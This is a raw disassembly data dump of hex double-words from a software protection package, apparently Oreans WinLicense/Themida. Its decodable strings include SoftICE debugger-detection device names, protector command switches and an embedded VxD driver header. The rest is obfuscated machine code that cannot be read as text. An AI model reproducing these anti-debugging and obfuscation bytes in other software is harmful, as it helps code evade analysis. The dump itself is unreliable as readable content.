5DBFE627h dd 719CDAC0h, 52C41B54h, 0DEB501AFh, 0C3391322h, 6497D195h dd 205A2236h, 5B89B4F3h, 0E5122F91h, 84FF35B6h, 4F00C25Ch dd 0E8B4DF59h, 290FAC6Ch, 8C8EBCEFh, 22559002h, 0C8EF30F4h dd 363FB69Ah, 0BF99D068h, 0F41B5C81h, 0FD9AFCC6h, 0BDF7ADC8h dd 0CF0DE78Ah, 0DF416CAAh, 0D7DF762Eh, 4AE776A5h, 5083BDA3h dd 0F5205E22h, 96C903C7h, 3867A468h, 3243920Ah, 0F085E46Ch dd 2A477AB4h, 38DB0644h, 0C5F3225Eh, 9BA65EFBh, 0F7AA446Ch dd 22170549h, 62138913h, 25EEF3Eh, 0D3F794C7h, 0AA84BBBBh dd 4812406Bh, 0A5FF76ABh, 4BB1ED67h, 1CB87098h, 275584C0h dd 0B1DEFB5Dh, 0FDC16F90h, 1132260h, 601B5B8Bh, 2DA31322h dd 416CAA90h, 8FCF7D9Eh, 0F132260h, 836619Fh, 873FDC3Eh dd 6A1884C3h, 13226024h, 0E33B6AA6h dd 19DD0B6Dh, 6A83B1D8h, 959141B0h, 9CD73389h, 0EC4B3B69h dd 22991589h, 0E8135153h, 30762445h, 0BE132295h, 1E04AB48h dd 0EB83B1E4h, 9B53BD6Dh, 891B5AD1h, 19FF1C4Fh, 0E809ACDFh dd 51F2743Ah, 0D3876ABh, 0EAA23FB5h, 0F038B0DFh, 0B6B8EA95h dd 4BE84A79h, 0CEFC2765h, 8CCBA5C0h, 98FA2D67h, 0CE03A06Ah dd 0E795B6A7h, 0AB51ECA7h, 8DBBE223h, 97A66BC3h, 778826A8h dd 8B710E70h, 1B011E51h, 6980AEE1h, 3F66A711h, 42E54711h dd 0CFFD2C68h, 8D3B6805h, 0A1A93C80h, 0C2FB188Eh, 7D57FA6Ah dd 19E31140h, 0BCA14F7Ch, 0B7A45E96h, 4371A0DDh, 84FADC79h dd 0AA8BB2E1h, 0C548D73Ah, 72AC7028h, 0D4F5223Fh, 5F8DC0FAh dd 0D3216595h, 0F6ADAB53h, 53D30648h, 0B01288ABh, 71F32D13h dd 38743110h, 6011DB09h, 0EE50210Ch, 388128C0h, 607B4375h dd 0EC1A4986h, 25508522h, 0D918457Fh, 492F4CAEh, 0EAAEDC0Fh dd 0B8D97CAFh, 7970440Ah, 37D44AB3h, 51249B7Fh, 0C4F7320Ch dd 0D4074127h, 6A97D1B7h, 0AD40229h, 3BE7AA8h, 0FE000000h dd 82C233A1h, 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h, 16541846h dd 0BBF9BDEBh, 639E6290h, 13E0230h, 0A4E0A4D2h, 51864775h dd 0B850E189h, 78902EEFh, 0F42D9735h, 5BF32522h, 0D8F74B63h dd 9FFC9435h, 58C101B5h, 8704E983h, 685C240Ch, 524h, 83241489h dd 3C8904ECh, 4EC8324h, 0BB241C89h, 5EBA074h, 685BDA89h dd 2E90h, 83242489h, 5F042404h, 21BD68h, 24148900h, 0FF08478Fh dd 835F2434h, 148B04C4h, 0E6895624h, 4C681h, 0C6810000h dd 4, 5C243487h, 0FDD65AE9h, 0B82D49FFh, 5EBA922h, 0E0FFC503h dd 27D7D19Ah, 616F2AEDh, 6D5FFF1Fh, 3CD54B7Dh, 232A77E7h dd 6D9EF07Eh, 51319467h, 700DF6F8h, 12764263h, 27880684h dd 49AEEDA8h, 42FF4879h, 77641511h, 4645834Fh, 78FE09CFh dd 56550D4Bh, 1FF32E14h, 2A8D19ECh, 6AFF1E63h, 3F7D1A98h dd 550BC9C8h, 53BA28B9h, 117C4D89h, 5E8h, 98695600h, 665A8F1Eh dd 8193CCB8h, 71AEC2h, 0E8816600h, 0BB3651h, 0F000000h dd 34FFF0B7h, 5F53B413h, 0E8BE6656h, 0C781583Bh, 4C3E473Dh dd 880Fh, 0C7810000h, 0BF85282h, 0ABD4BE66h, 0B4CBEF81h dd 0B9661CB7h, 3C89E27Bh, 8052601Ah, 0E95ED3EBh, 0Ch, 664AE052h dd 6325A575h, 0D3F837E3h, 86EB8161h, 6055E63Fh, 0E1805F52h dd 0C38161C9h, 55E63F82h, 9572E681h, 0FB813D9Eh, 0FFFF8ED8h dd 0FF94850Fh, 0E9F5FFFFh, 72h, 0D9BD8360h, 5E927h, 5840Fh dd 5DE90000h, 6A000000h, 303E8000h, 8850Fh, 6A0000h, 35E946h dd 3E800000h, 8850F33h, 6A000000h, 24E94610h, 80000000h dd 850F343Eh, 8, 0E946306Ah, 13h, 0F353E80h, 885h, 46406A00h dd 2E9h, 8D006A00h, 0E9117585h, 90509005h, 24348950h, 95FF006Ah dd 5E91DA5h, 85C6C361h, 5E90EE5h, 2013684Dh, 481943Dh dd 0F8569524h, 39B5FF0Fh, 8D05E900h, 0E939CF85h, 89D0FF05h dd 0E91DA585h, 5C1EEB05h, 535C2E5Ch, 454349h, 5C2E5C5Ch dd 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h, 6AC08B00h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0CBFEC351h, 7CE6D53Ah, 0FB2DE80h, 184h, 0BD83FC00h dd 5E9164Dh, 83097500h, 0E91121BDh, 19740005h, 0C08B5350h dd 40FB8h, 0B9858900h, 8D05E923h, 0EBB8C49Dh, 5BD3FF05h dd 21BD8358h, 5E911h, 53501774h, 40FB8h, 0B9858900h, 8D05E923h dd 0EBB5B39Dh, 5BD3FF05h, 12E958h, 71680000h, 86BB725h dd 3683F648h, 0B2EF5AEh, 6EE9F2DCh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 0BCC35747h, 1A59AE92h, 333945E7h dd 6D78166h, 0FC08BB8h, 2081h, 14E800h, 0ED8D0000h, 0C55174C8h dd 5B86E7D5h, 9474DD97h, 0CDF0DC11h, 9D89E641h, 5E93309h dd 0B1858959h, 0C605E921h, 0E90EE585h, 6A4305h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 786844C3h, 814793D0h, 9E842404h, 0CE974FAh, 0CC000000h dd 0F0E38ED0h, 3C34164Ah, 0FF228547h, 0E92345B5h, 0AD8D8B05h dd 0F05E907h, 858DF6BFh, 5E939CFh, 0EE07DF81h, 0D0FF39B9h dd 606AD680h, 89D08B66h, 0E930D195h, 0B6506105h, 2404892Ch dd 0D0C1B966h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 3A0CD4C3h, 0F2ABE2E0h, 46684D68h dd 240481B5h, 4AB99833h, 252D958Bh, 0C98105E9h, 62C4CE38h dd 8B0F036Ah, 4, 0F1F2B966h, 0C981006Ah, 5C8ACB7Fh, 840F036Ah dd 2, 4468AFB1h, 81B7442Eh, 2E442434h, 0BF0F7744h, 329D8DFBh dd 9305EBABh, 60505E57h, 14E8h, 0BA35AC00h, 0B823F3CDh dd 6692CD4h, 0A20792B7h, 9C8AA9F1h, 0F5250B8h, 58585A31h dd 6840Fh, 52500000h, 585A310Fh, 0B70F9361h, 0B6D0FFD6h dd 850F40B7h, 2FCh, 409BD8Bh, 858905E9h, 5E91125h, 0C2816058h dd 1B2884B2h, 338BD381h, 50617594h, 13860Fh, 0BE80000h dd 0FA000000h, 3B9DF7E8h, 0EA43E2C8h, 6160B799h, 2404895Fh dd 501958Bh, 0AE805E9h, 0FF000000h, 0E94A85DFh, 0C12607D6h dd 7DB58B5Ah, 5A05E901h, 8D8B006Ah, 5E915E5h, 4E8h, 8000h dd 50F38B00h, 0E078DDB9h, 24448B37h, 0F88B6604h, 4489008Bh dd 52500424h, 6800Fh, 52500000h, 585A310Fh, 0FE8310Fh dd 15000000h, 866F578Ch, 0EC93DB13h, 0C6106ED0h, 5A50DAB6h dd 58585A5Eh, 28E18166h, 0B9036A5Ah, 1E551F4Eh, 6A006Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 6DADF8C3h, 0F56ED237h, 0BD89036Ah, 5E912A9h, 833EC368h dd 8B6660EDh, 9E8FEh, 94430000h, 0CDAFDC96h, 8B595516h dd 81615FD9h, 3EC32434h, 0BE662D83h, 9D8D9F3Ah, 5EBAB3Bh dd 18C1BD23h, 0F5005E9h, 87h, 241C8900h, 12AD9589h, 0D0FF05E9h dd 178DB50Bh, 0F4005E9h, 1CF85h, 793FBF00h, 0F585190h dd 8950F0BFh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 29D1CBC3h, 0E9331995h, 0F8006A05h dd 4999533h, 156805E9h, 0F456C70h, 80h, 24348100h, 456C7095h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 23C35242h dd 10865A51h, 183E06EEh, 0D4DBD8Bh, 858905E9h, 5E928A9h dd 0F180036Ah, 6A006AA9h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0C826C352h, 6AFED267h dd 50006A03h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h dd 0C3504000h, 770545CBh, 0E8F1BF0Fh, 4, 0C0000000h, 14800Fh dd 8E80000h, 0E2000000h, 0CD1C2EACh, 0F9A23B5h, 87h, 0E9505A00h dd 0Ah, 90B81B1h, 0F8B33BDEh, 448BF65Fh, 0F78A0424h, 12E9008Bh dd 4B000000h, 467A2562h, 0CFC9B029h, 2E7F4525h, 2C4153ADh dd 244489C4h, 0D18B6604h, 0D1858958h, 8D05E930h, 0EBAB469Dh dd 85895605h, 5E92F89h, 8D0F505Eh, 0Fh, 9E8h, 42E7D100h dd 0B100E5F6h dd 895E4856h, 8A0F241Ch, 15h, 10E9h, 5B85A00h, 446EBC4Ch dd 0A14F9B2h, 4262D6CAh, 99D29E3h, 0FF05E928h, 32BB60D0h dd 8917BE90h, 0E9078D85h, 0F406105h, 4B85h, 0EE900h, 56080000h dd 4535D941h, 0E796E1CFh, 6B748A71h, 53006A58h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 9D893C46h dd 5E90249h, 0BCB96650h, 8FE95E81h, 0F000001h, 38Ah, 0FBBF0F00h dd 0B70FD88Bh, 81664BF0h, 584560E1h, 0EE585C6h, 6A4305E9h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0EEF4C350h, 99239E2h, 29606097h, 0E923598Dh dd 61616005h, 19890Fh, 14E90000h, 67000000h, 0A05AC353h dd 0DC86DEDAh, 91A8CCFFh, 0CCFB333Ah, 617E7C64h, 4E8h dd 764AA700h, 0FDB4BEC0h, 66507E1Fh, 8B31CFBFh, 60042444h dd 0E9564CB6h, 8, 0D570B66Ch, 0CF16A764h, 8B6159h, 0FE8B6651h dd 2444895Ah, 9E804h, 52B10000h, 5061236Ah, 0BE3A6EDAh dd 3A44CF48h, 0B60585Ah, 0E910C985h, 68F0F05h, 29000000h dd 0E923C995h, 0B5FF6105h, 5E92345h, 6820Fh, 0CA810000h dd 6BE8EF5Bh, 39CF858Dh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 30AC0CC3h, 0D0FF4CB5h dd 26D9B58Bh, 605005E9h, 9E8h, 3F784500h, 3057F702h, 52504025h dd 585A310Fh, 1C89615Eh, 434DBA24h, 0D0FF6029h, 16BDB523h dd 9D8D05E9h, 5E972D4h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 2AC35646h, 0C0B9A123h, 0DAE981FFh, 0B81D9344h dd 1, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah dd 49C35646h, 6B1BA9B0h, 0D181030Ch, 6CAB2D4Bh, 0B966E3FFh dd 0C18BF455h, 0AE960h, 11E40000h, 4FCF938Ch, 2DB8B21Dh dd 1638BA66h, 0A1958B61h, 8B05E90Fh, 0ABE66C0h, 4DBD83A9h dd 5E916h, 0BD830975h, 5E91121h, 50197400h, 0B8C08B53h dd 40Fh, 5AD8589h, 9D8D05E9h, 5EBB92Bh, 585BD3FFh, 1121BD83h dd 740005E9h, 0B8535017h, 40Fh, 5AD8589h, 9D8D05E9h, 5EBB5CCh dd 585BD3FFh, 3089958Bh, 8D8B05E9h, 5E90AC9h, 7E8C08Bh dd 0A1000000h, 5CBCBA7Ah, 858BA703h, 5E92451h, 0F7BF0F5Bh dd 5F7AC381h, 830F0000h, 0 dd 0B9h, 85858B00h, 0FF05E91Fh, 0AE91934h, 5A000000h, 0D28146A2h dd 4BE24048h, 85295F19h, 5E92215h, 3233F781h, 0B561E77h dd 0E92A89B5h, 0EF815805h, 5FD623D1h, 0C781C78Bh, 135FB8B4h dd 0B94DE881h, 3C8967D0h, 5B5890Bh, 2905E927h, 0E90D199Dh dd 0C5E98105h, 89271499h, 0E9168585h, 0C1C18105h, 0E8271499h dd 13h, 38BFD0E3h, 82E380FEh, 0FDAAA401h, 0F392CB96h, 0F14B01Eh dd 815AC2B7h, 0FFA16CF9h, 15850FFFh, 0E9000000h, 39h, 5E14ED81h dd 0FB698B8Ah, 0A1BF8F72h, 5E49D03Dh, 0EE9h, 7967B500h dd 34EE6E46h, 0A2986D74h, 0E9D1A80Ch, 0FFFFFF4Fh, 0FED4B221h dd 6A4CAB04h, 7913F1Dh, 267BDBBBh, 0AAE9FDh, 6F530000h dd 61777466h, 575C6572h, 694C6E69h, 736E6563h, 68430065h dd 496B6365h, 7058004Eh, 45746F72h, 746978h, 63656843h dd 54554F6Bh, 6E695700h, 6563694Ch, 5665736Eh, 69737265h dd 57006E6Fh, 694C6E69h, 736E6563h, 69724465h, 56726576h dd 69737265h, 57006E6Fh, 694C6E69h, 736E6563h, 736E4965h dd 636E6174h, 78450065h, 6B4F7469h, 6F725000h, 4E4963h dd 636F7250h, 54554Fh, 74697845h, 45004E49h, 4F746978h dd 54005455h, 4E4970h, 3 dup(0) dd 77DDAF7Fh, 77DD72F0h, 596E9h, 0E7858900h, 8D05EBB3h dd 0EBB3E385h, 858D5005h, 5EBB34Dh, 16850h, 95FF8000h dd 5EBB3F3h, 0B5FF196Ah, 5EBB3E7h, 6A016Ah, 0B37C858Dh dd 0FF5005EBh, 0EBB3E3B5h, 595FF05h, 0FF05E923h, 0EBB3E3B5h dd 0EF95FF05h, 0FF05EBB3h, 0EBB3E3B5h, 0B195FF05h, 0C305E90Bh dd 0B3E78589h, 858D05EBh, 5EBB3E3h, 4D858D50h, 5005EBB3h dd 168h, 0F395FF80h, 6A05EBB3h, 0E7858D04h, 5005EBB3h dd 6A046Ah, 0B3A6858Dh, 0FF5005EBh, 0EBB3E3B5h, 595FF05h dd 0FF05E923h, 0EBB3E3B5h, 0EF95FF05h, 0FF05EBB3h, 0EBB3E3B5h dd 0B195FF05h, 0C305E90Bh, 0B3E78589h, 858D05EBh, 5EBB3E3h dd 4D858D50h, 5005EBB3h, 168h, 0F395FF80h, 6A05EBB3h, 0E7858D04h dd 5005EBB3h, 6A046Ah, 0B38E858Dh, 0FF5005EBh, 0EBB3E3B5h dd 595FF05h, 0FF05E923h, 0EBB3E3B5h, 0EF95FF05h, 0FF05EBB3h dd 0EBB3E3B5h, 0B195FF05h, 0C305E90Bh, 0B3E78589h, 858D05EBh dd 5EBB3E3h, 4D858D50h, 5005EBB3h, 168h, 0F395FF80h, 6A05EBB3h dd 0E7858D04h, 5005EBB3h, 6A046Ah, 0B3B9858Dh, 0FF5005EBh dd 0EBB3E3B5h, 595FF05h, 0FF05E923h, 0EBB3E3B5h, 0EF95FF05h dd 0FF05EBB3h, 0EBB3E3B5h, 0B195FF05h, 0C305E90Bh, 0B3E78589h dd 858D05EBh, 5EBB3E3h, 4D858D50h, 5005EBB3h, 168h, 0F395FF80h dd 6A05EBB3h, 0E7858D04h, 5005EBB3h, 6A046Ah, 0B369858Dh dd 0FF5005EBh, 0EBB3E3B5h, 595FF05h, 0FF05E923h, 0EBB3E3B5h dd 0EF95FF05h, 0FF05EBB3h, 0EBB3E3B5h, 0B195FF05h, 0C305E90Bh dd 2FD9BD83h, 0F0005E9h, 0B84h, 0D99D8B00h, 8305E92Fh dd 3894CC3h, 0D9BD83C3h, 5E92Fh, 0B840Fh, 9D8B0000h, 5E92FD9h dd 8950C383h, 0BD83C303h, 5E92FD9h, 0B840F00h, 8B000000h dd 0E92FD99Dh, 54C38305h, 83C30389h, 0E92FD9BDh, 840F0005h dd 0Bh, 2FD99D8Bh, 0C38305E9h, 0C3038958h, 2FD9BD83h, 0F0005E9h dd 0B84h, 0D99D8B00h, 8305E92Fh, 3895CC3h, 8960C3C3h, 0EBB3E785h dd 0E3858D05h, 5005EBB3h, 0B34D858Dh, 685005EBh, 80000001h dd 0B3F395FFh, 46A05EBh, 0B3E7858Dh, 6A5005EBh, 8D006A04h dd 0EBB3DE85h, 0B5FF5005h, 5EBB3E3h, 230595FFh, 0BD8305E9h dd 5E9164Dh, 0C840F00h, 0FF000000h, 0EBB3E3B5h, 0EF95FF05h dd 0FF05EBB3h, 0EBB3E3B5h, 0B195FF05h, 6105E90Bh, 858960C3h dd 5EBB3E7h, 0B3E3858Dh, 8D5005EBh, 0EBB34D85h, 1685005h dd 0FF800000h, 0EBB3F395h, 8D046A05h, 0EBB3E785h, 46A5005h dd 858D006Ah, 5EBB3C0h, 0E3B5FF50h, 0FF05EBB3h, 0E9230595h dd 4DBD8305h, 5E916h, 0C840Fh, 0B5FF0000h, 5EBB3E3h, 0B3EF95FFh dd 0B5FF05EBh, 5EBB3E3h, 0BB195FFh, 0C36105E9h, 0E7858960h dd 8D05EBB3h, 0EBB3E385h, 858D5005h, 5EBB34Dh, 16850h dd 95FF8000h, 5EBB3F3h, 858D046Ah, 5EBB3E7h, 6A046A50h dd 0C7858D00h, 5005EBB3h, 0B3E3B5FFh, 95FF05EBh, 5E92305h dd 164DBD83h, 0F0005E9h, 0C84h, 0E3B5FF00h, 0FF05EBB3h dd 0EBB3EF95h, 0E3B5FF05h, 0FF05EBB3h, 0E90BB195h, 60C36105h dd 0B3E78589h, 858D05EBh, 5EBB3E3h, 4D858D50h, 5005EBB3h dd 168h, 0F395FF80h, 6A05EBB3h, 0E7858D04h, 5005EBB3h dd 6A046Ah, 0B3CF858Dh, 0FF5005EBh, 0EBB3E3B5h, 595FF05h dd 8305E923h, 0E9164DBDh, 840F0005h, 0Ch, 0B3E3B5FFh, 95FF05EBh dd 5EBB3EFh, 0B3E3B5FFh, 95FF05EBh, 5E90BB1h, 8960C361h dd 0EBB3E785h, 0E3858D05h, 5005EBB3h, 0B34D858Dh, 685005EBh dd 80000001h, 0B3F395FFh, 46A05EBh, 0B3E7858Dh, 6A5005EBh dd 8D006A04h, 0EBB3D685h, 0B5FF5005h, 5EBB3E3h, 230595FFh dd 0BD8305E9h, 5E9164Dh, 0C840F00h, 0FF000000h, 0EBB3E3B5h dd 0EF95FF05h, 0FF05EBB3h, 0EBB3E3B5h, 0B195FF05h, 6105E90Bh dd 85C760C3h, 5EBB3E7h, 1, 0B3E3858Dh, 8D5005EBh, 0EBB34D85h dd 2685005h, 0FF800000h, 0EBB3F395h, 0FC00B05h, 0F84h dd 0E785C700h, 5EBB3h, 0E9000000h, 4Dh, 858D046Ah, 5EBB3E7h dd 6A046A50h, 61858D00h, 5005EBB3h, 0B3E3B5FFh, 95FF05EBh dd 5E92305h, 840FC00Bh, 0Fh, 0B3E785C7h, 5EBh, 0AE90000h dd 0C7000000h, 0EBB3E785h, 105h, 0E3B5FF00h, 0FF05EBB3h dd 0E90BB195h, 858B6105h, 5EBB3E7h, 858960C3h, 5EBB3E7h dd 0B3E3858Dh, 8D5005EBh, 0EBB34D85h, 1685005h, 0FF800000h dd 0EBB3F395h, 8D046A05h, 0EBB3E785h, 46A5005h, 858D006Ah dd 5EBB361h, 0E3B5FF50h, 0FF05EBB3h, 0E9230595h, 4DBD8305h dd 5E916h, 0C840Fh, 0B5FF0000h, 5EBB3E3h, 0B3EF95FFh, 0B5FF05EBh dd 5EBB3E3h, 0BB195FFh, 0C36105E9h, 0E7858960h, 8D05EBB3h dd 0EBB3E385h, 858D5005h, 5EBB34Dh, 16850h, 95FF8000h dd 5EBB3F3h, 858D046Ah, 5EBB3E7h, 6A046A50h, 73858D00h dd 5005EBB3h, 0B3E3B5FFh, 95FF05EBh, 5E92305h, 164DBD83h dd 0F0005E9h, 0C84h, 0E3B5FF00h, 0FF05EBB3h, 0EBB3EF95h dd 0E3B5FF05h, 0FF05EBB3h, 0E90BB195h, 0C6C36105h, 0E90EE585h dd 7685205h, 0FFADE47Bh, 0E921D5B5h, 0C595FF05h, 8905E923h dd 0EBB3F385h, 0E585C605h, 5205E90Eh, 2E00E568h, 0D5B5FF90h dd 0FF05E921h, 0E923C595h, 0EF858905h, 0C605EBB3h, 0E90EE585h dd 35685205h, 0FFB9BF12h, 0E921D5B5h, 0C595FF05h, 8905E923h dd 0E9230585h, 0E585C605h, 5205E90Eh, 78103468h, 0D5B5FF98h dd 0FF05E921h, 0E923C595h, 0B1858905h, 0C605E90Bh, 0E90EE585h dd 0D4685205h, 0FFC005DBh, 0E921D5B5h, 0C595FF05h, 8905E923h dd 0E91D3985h, 5E805h, 637A0000h, 0E9336C8Eh, 5, 91AC393h dd 0E9525EAFh, 8, 9A69D8C2h, 6FF5C946h, 31C68159h, 6600005Ah dd 0E020C981h, 800FDB33h, 5, 1AE98166h, 1E3C8B68h, 5E18166h dd 9F781CBh, 66001F1Fh, 813EA1B8h, 73EE5AC7h, 3B0CB851h dd 0F781675Ch, 610C9CEh, 870Fh, 66570000h, 48FCB8Bh, 0DE91Eh dd 502E0000h, 0BCA851E1h, 16CE45AAh, 81AE5E10h, 0A05601D9h dd 1EB830Bh, 4B4B4BF5h, 81D0B70Fh, 0FFA694FBh, 18850FFFh dd 0E9000000h, 8, 0AAA40182h, 92CB96FDh, 22E9h, 8D036200h dd 0F8C1809h, 881h, 2850F00h, 0B0000000h, 0FF77E93Ah, 7DD2FFFFh dd 3202B0FCh, 0E9AD6849h, 99h, 6775622Fh, 63656863h, 2F00326Bh dd 63677562h, 6B636568h, 6F662F00h, 72656372h, 2F006E75h dd 63677562h, 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh dd 2F006564h, 776F6873h, 65646F63h, 632F0032h, 74726Ch dd 7369642Fh, 732F0031h, 69776F68h, 6174736Eh, 65636Eh dd 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h, 61747367h dd 737574h, 6D75642Fh, 61747370h, 737574h, 0 aCheckprotectio db '/checkprotection',0 align 10h dd 7BBD8300h, 5EBBBh, 0A840Fh, 85C70000h, 5E91121h, 1 dd 0EE585C6h, 684705E9h, 0C10EE542h, 0CF243481h, 0FF516389h dd 0E92345B5h, 0CF858D05h, 0FF05E939h, 8BD0FFD0h, 223F80F8h dd 22850Fh, 0B0470000h, 850FAE22h, 0FFFFFFF9h, 0F003F80h dd 31884h, 3F804700h, 0E840F00h, 0E9000003h, 1Eh, 0F003F80h dd 30084h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h dd 3F80FFFFh, 5850F00h, 0E9000000h, 2DDh, 1E9h, 3F804700h dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5, 2C0E9h, 0AE800h dd 0CBE90000h, 0E9FFFFFFh, 2B1h, 0BAFBB58Dh, 25E805EBh dd 3000002h, 0EBBB90BDh, 90BD8305h, 5EBBBh, 0B840Fh, 85C70000h dd 5E9164Dh, 1, 6B58DC3h, 0E805EBBBh, 1FCh, 0BB90BD03h dd 0BD8305EBh, 5EBBB90h, 0B840F00h, 0C7000000h, 0E9112185h dd 105h, 0B58DC300h, 5EBBB7Fh, 1D3E8h, 90BD0300h, 8305EBBBh dd 0EBBB90BDh, 840F0005h, 0Bh, 27D985C7h, 105E9h, 8DC30000h dd 0EBBB10B5h, 1AAE805h, 0BD030000h, 5EBBB90h, 0BB90BD83h dd 0F0005EBh, 0B84h, 2185C700h, 105E911h, 0C3000000h, 0BB1AB58Dh dd 81E805EBh, 3000001h, 0EBBB90BDh, 90BD8305h, 5EBBBh dd 15840Fh, 85C70000h, 5E91121h, 1, 164D85C7h, 105E9h dd 8DC30000h, 0EBBB28B5h, 14EE805h, 0BD030000h, 5EBBB90h dd 0BB90BD83h, 0F0005EBh, 0A84h, 4985C700h, 105E910h, 8D000000h dd 0EBBB32B5h, 126E805h, 0BD030000h, 5EBBB90h, 0BB90BD83h dd 0F0005EBh, 0A84h, 4985C700h, 105E910h, 8D000000h, 0EBBB3DB5h dd 0FEE805h, 0BD030000h, 5EBBB90h, 0BB90BD83h, 0F0005EBh dd 0A84h, 0D85C700h, 105E931h, 8D000000h, 0EBBB43B5h, 0D6E805h dd 0BD030000h, 5EBBB90h, 0BB90BD83h, 0F0005EBh, 0A84h dd 5985C700h, 105E931h, 8D000000h, 0EBBB49B5h, 0AEE805h dd 0BD030000h, 5EBBB90h, 0BB90BD83h, 0F0005EBh, 0A84h dd 5985C700h, 105E91Fh, 8D000000h, 0EBBB57B5h, 86E805h dd 0BD030000h, 5EBBB90h, 0BB90BD83h, 0F0005EBh, 0A84h dd 4D85C700h, 105E917h, 8D000000h, 0EBBB64B5h, 5EE805h dd 0BD030000h, 5EBBB90h, 0BB90BD83h, 0F0005EBh, 0A84h dd 0B185C700h, 105E912h, 8D000000h, 0EBBB6FB5h, 36E805h dd 0BD030000h, 5EBBB90h, 0BB90BD83h, 0F0005EBh, 0A84h dd 0E585C700h, 105E92Ch, 0E9000000h, 1, 203F8047h, 9840Fh dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h dd 19E9h, 3F8000h, 2850Fh, 0C92B0000h, 1638178Ah, 2840Fh dd 0C92B0000h, 3E804746h, 8840F00h, 0B000000h, 0D6850FC9h dd 0BFFFFFFh, 21840FC9h, 80000000h, 840F003Fh, 9, 0F203F80h dd 0A85h, 1B900h, 5E90000h, 0B9000000h, 0 dd 840FC90Bh, 0Dh, 0B589F32Bh, 5EBBB90h, 0AE9h, 9085C700h dd 5EBBBh, 61000000h, 0E9C88BC3h, 20Eh, 6E614333h, 20746F6Eh dd 74697277h, 726F2065h, 736E6165h, 6478762Eh, 614D0D0Ah dd 7320656Bh, 20657275h, 74616874h, 69687420h, 69662073h dd 6920656Ch, 6F6E2073h, 65622074h, 20676E69h, 64657375h dd 20796220h, 746F6E61h, 20726568h, 676F7270h, 2E6D6172h dd 68h dup(0) aOreans_vxd db '\Oreans.vxd',0 dd 2 dup(0) dd 0EFE90000h, 0C6000000h, 0E90EE585h, 86684705h, 0FFE3E45Bh dd 0E92345B5h, 0CF858D05h, 0FF05E939h, 10468D0h, 9D8D0000h dd 5E912C5h, 50D0FF53h, 0C103B58Dh, 0FE8B05EBh, 0FAEC032h dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 0EE585C6h dd 684305E9h, 0BC8E6EFCh, 2345B5FFh, 858D05E9h, 5E939CFh dd 0B58DD0FFh, 5E912C5h, 8068006Ah, 6A000000h, 6A006A02h dd 6800h, 0FF56C000h, 0C6D88BD0h, 0E90EE585h, 56685705h dd 0FFA69BEEh, 0E92345B5h, 0CF858D05h, 0FF05E939h, 1DBD8DD0h dd 8D05E92Bh, 0EBC2298Dh, 57006A05h, 37D068h, 0FF535100h dd 0FC085D0h, 1B85h, 0BB58D00h, 8D05EBBFh, 0EBAA9785h dd 8DD0FF05h, 0E972D48Dh, 0B805h, 0E1FF0000h, 0EE585C6h dd 684305E9h, 0C0764AA7h, 2345B5FFh, 858D05E9h, 5E939CFh dd 0FF53D0FFh, 0D0B9C3D0h, 0E8000037h, 0 dd 0EC08358h, 2E90889h, 8B000000h, 37D0E9C3h, 5A4D0000h dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0 dd 400000h, 8 dup(0) dd 0B00000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h dd 240A0Dh, 0 dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0 dd 454C0000h, 0 dd 20000h, 4, 80000000h, 140003h, 4 dup(0) dd 2000000h, 1C00000h, 900000h, 0 dd 7E0000h, 0 dd 0C40000h, 10000h, 0DC0000h, 3 dup(0) dd 12C0000h, 1380000h, 2 dup(0) dd 1420000h, 1960000h, 1D20000h, 0 dd 1D20000h, 0 dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0) dd 27C00400h, 0 dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h dd 11h, 12h, 13h, 58080014h, 544F5250h, 445856h, 3010000h dd 30001h, 2 dup(0) dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h dd 9B010191h, 6002727h, 79276F01h, 81017D01h, 89018501h dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h dd 360h dup(0) dd 4000000h, 10000h, 50580000h, 56544F52h, 4458h, 8000h dd 8 dup(0) dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h dd 5273h, 9C3h dup(0) dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0) dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h, 831AEBC0h dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 0A9E90000h 